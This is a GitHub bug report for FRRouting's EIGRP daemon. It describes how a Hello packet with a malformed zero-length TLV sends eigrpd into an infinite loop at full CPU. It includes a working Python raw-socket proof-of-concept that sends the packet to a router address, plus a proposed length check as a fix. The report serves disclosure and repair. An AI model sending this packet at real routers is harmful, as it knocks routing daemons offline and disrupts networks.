Skip to content

[EIGRP] Malformed TLV with trailing zeros leads to infinite loop #19250

@Mart1-cyber

Description

@Mart1-cyber

Description

An EIGRP Hello packet containing a TLV with length = 16 followed by extra trailing data can cause the parser to misinterpret the trailing bytes as additional TLVs. If these extra bytes have 0 value, the parser treats them as a new TLV with length = 0, which causes an infinite loop because the offset is never incremented.

I think this issue is caused by the following line in frr/eigrpd/eigrp_hello.c:

size -= length;

When length == 0, this line results in no size decrement, which causes the parser to loop on the same input forever.

Version

FRRouting 10.3.1

How to reproduce

I execute this python script. That I execute from the router2 with the ip address : 10.12.0.2 to send a malformed packet to router1 with the ip address 10.12.0.1.

import socket
import struct

DST_IP = "10.12.0.1"
SRC_IP = "10.12.0.2"

def build_eigrp_packet():
    version = 2
    opcode = 5
    flags = 0
    seq = 0
    ack = 0
    router_id = b'\x01\x01\x01\x01'
    asn = 1

    t = 0x0001
    l = 0x0010
    tlv = struct.pack("!HH", t, l) + b"\x00" * 20

    eigrp_header = struct.pack("!BBHHII4sH", version, opcode, 0, flags, seq, ack, router_id, asn)
    return eigrp_header + tlv  

def main():
    IPPROTO_EIGRP = 88
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, IPPROTO_EIGRP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 0)

    eigrp_payload = build_eigrp_packet()
    sock.sendto(eigrp_payload, (DST_IP, 0))

if __name__ == "__main__":
    main()

Expected behavior

  • The router1 should continue to send hello messages
  • The eirgpd process should use a reasonable amount of cpu after receiving one malformed message.

Actual behavior

  • router1 stop to send hello messages (ip address 10.12.0.1).
  • The eirgpd process in router1 use almost 100% of cpu resources after receiving one malformed message.
  • router1 restarts perpetually the process with the logs below
    2025/07/23 13:17:44 WATCHFRR: [ZE9RA-19PS5] restart eigrpd child process 68 still running after 90 seconds, sending signal 15
    2025/07/23 13:17:44 WATCHFRR: [SK7QP-A2GT9] restart eigrpd process 68 terminated due to signal 15

Additional context

Proposed fix

I replaced this condition in line :

if (length > size)

by this condition and it seems to work but not sure if it broke something else :

if (length < 4 || length > size)
    return;

Checklist

  • I have searched the open issues for this bug.
  • I have not included sensitive information in this report.

Metadata

Metadata

Assignees

Labels

triageNeeds further investigation

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions